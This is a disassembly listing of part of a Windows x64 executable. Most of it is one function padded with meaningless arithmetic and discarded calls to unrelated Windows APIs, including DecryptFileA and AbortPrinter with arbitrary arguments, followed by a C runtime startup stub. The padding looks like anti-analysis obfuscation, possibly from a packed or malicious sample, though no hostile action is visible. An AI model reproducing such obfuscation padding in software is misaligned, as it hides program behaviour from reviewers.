mov rax, qword [sym.imp.USER32.dll_GetCursorPos]
call rax
mov dword [rbp + 0x24b74], eax
jmp 0x14015aab0
call fcn.14015bd61
nop
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
xor edx, eax
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
cmp dl, al
jne 0x14015ab4a
mov rax, qword [rbp + 0x24c68]
mov r9d, 0
mov r8d, 0xa7
mov edx, 0x77
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetDlgItemInt]
call rax
mov dword [rbp + 0x24b74], eax
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
and rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
jmp 0x14015abf7
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1068]
add eax, edx
mov dword [rbp + 0x4b38], eax
call fcn.14015bd61
jmp 0x14015abf7
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
cmp eax, 0xef
je 0x14015ab80
cmp eax, 0x365
jmp 0x14015ab9d
movzx edx, byte [rbp + 0x6b7]
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
nop
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
movzx eax, word [rbp + 0x1a8c]
add ax, 0x3e1
mov word [rbp + 0x1a8c], ax
lea rcx, [rbp + 0x66d0]
lea rdx, [rbp + 0x3310]
lea rax, [rbp + 0xbc8]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_UnionRect]
call rax
mov dword [rbp + 0x24c18], eax
nop
movzx eax, word [rbp + 0x1a8c]
add ax, 0xf34
mov word [rbp + 0x1a8c], ax
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
cmp eax, 0x39c
je 0x14015ac35
lea rax, [rbp + 0x4b38]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorInfo]
call rax
mov dword [rbp + 0x24c18], eax
jmp 0x14015ac36
nop
mov rax, qword [rbp + 0xbc8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0xbc8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x6038]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMenuItemCount]
call rax
mov dword [rbp + 0x4b38], eax
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x7280]
sub rdx, rax
mov qword [rbp + 0x6b30], rdx
jmp 0x14015ad07
mov edx, dword [rbp + 0x1068]
mov eax, dword [rbp + 0x4b38]
and edx, eax
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x29
je 0x14015acd3
cmp eax, 0x9d
je 0x14015aceb
jmp 0x14015ad06
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov rcx, rax
call fcn.14015b610
jmp 0x14015ad06
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x78ec], edx
nop
nop
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x78ec], eax
mov rax, qword [rbp + 0x26b0]
mov edx, 0xb0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_DecryptFileA]
call rax
mov dword [rbp + 0x24c18], eax
mov rdx, qword [rbp + 0x2af0]
movabs rax, 0xaa5c037b8266c46
cmp rdx, rax
jne 0x14015ad95
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
xor edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x6b7], al
call fcn.14015bd61
jmp 0x14015adb4
mov rax, qword [rbp + 0x25590]
mov edx, 0xfa
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_DecryptFileA]
call rax
mov dword [rbp + 0x2c34], eax
nop
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
cmp eax, 0x35
jne 0x14015ae80
movzx eax, byte [rbp + 0x6b7]
shr al, 2
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
lea rax, [rbp + 0x9d0]
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_PropertySheetA]
call rax
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x255f0]
mov eax, dword [rax]
xor eax, edx
mov dword [rbp + 0x66d0], eax
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x254f8]
mov dword [rax], edx
lea rax, [rbp + 0x3790]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_GetOpenFileNameA]
call rax
mov dword [rbp + 0x24c18], eax
movzx eax, byte [rbp + 0x6b7]
movzx ecx, al
movzx eax, byte [rbp + 0x6b7]
movzx r9d, al
movzx eax, byte [rbp + 0x6b7]
movzx r8d, al
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x14015ae9b
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
or edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
nop
jmp 0x14015aec4
mov eax, dword [rbp + 0x1068]
mov dword [rsp + 0x20], 0xe8
mov r9d, 0x50
mov r8d, eax
mov edx, 0x6e
mov ecx, 0xed
call fcn.14015b080
nop
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4b38]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0x1068], eax
mov rax, qword [rbp + 0x24c30]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetTopWindow]
call rax
mov qword [rbp + 0x255f8], rax
mov edx, dword [rbp + 0x4b38]
mov eax, dword [rbp + 0x1068]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x24c78]
mov dword [rax], edx
lea rax, [rbp + 0x3310]
mov r8d, 0xe4
mov rdx, rax
lea rax, str.virtuous_Envisage_Gang_skateboard_equatorial
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharToOemBuffA]
call rax
mov dword [rbp + 0x2c34], eax
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x1068], edx
mov rax, qword [rbp + 0x7c0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66d0]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x254d8]
mov rcx, rax
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rbp + 0x3544], eax
lea rax, [rbp + 0x3b40]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseFontA]
call rax
mov dword [rbp + 0x24c88], eax
mov eax, dword [rbp + 0x4b38]
or eax, 0x326652e6
mov dword [rbp + 0x4b38], eax
mov eax, dword [rbp + 0x66d0]
cmp eax, 0x2751aff3
jne 0x14015afd9
call fcn.14015bd61
jmp 0x14015b014
lea rax, [rbp + 0x3110]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_FindTextA]
call rax
mov qword [rbp + 0x255f8], rax
mov eax, dword [rbp + 0x66d0]
shr eax, 0x16
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x4b38]
and eax, 0x4b0e2894
mov dword [rbp + 0x4b38], eax
nop
jmp 0x14015b03d
mov eax, dword [rbp + 0x4b38]
mov dword [rsp + 0x20], 0xe4
mov r9d, 0x6d
mov r8d, eax
mov edx, 0xc6
mov ecx, 0x96
call fcn.14015b080
nop
mov eax, dword [rbp + 0x4b38]
add eax, 0x73ae8efe
mov dword [rbp + 0x4b38], eax
mov rax, qword [sym.imp.USER32.dll_AnyPopup]
call rax
mov dword [rbp + 0x3544], eax
mov eax, dword [rbp + 0x66d0]
sub eax, 0x5a41fdb9
mov dword [rbp + 0x66d0], eax
mov eax, dword [rbp + 0x254f4]
add rsp, 0x25708
pop rbx
pop rsi
pop rdi
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14015caf0
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x14017197b
jmp 0x1401719f1
test cl, cl
je 0x1401719a8
and esi, 1
je 0x140171990
mov esi, 1
call sub.api_ms_win_crt_multibyte_l1_1_0.dll__ismbblead
test eax, eax
je 0x140171977
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140171958
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140171966
test cl, cl
je 0x1401719a8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1401719a8
cmp al, 0x20
jle 0x140171998
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1401719d6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14017b520]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x140001e26
lea rbx, [0x14017b180]
jmp 0x1401719a8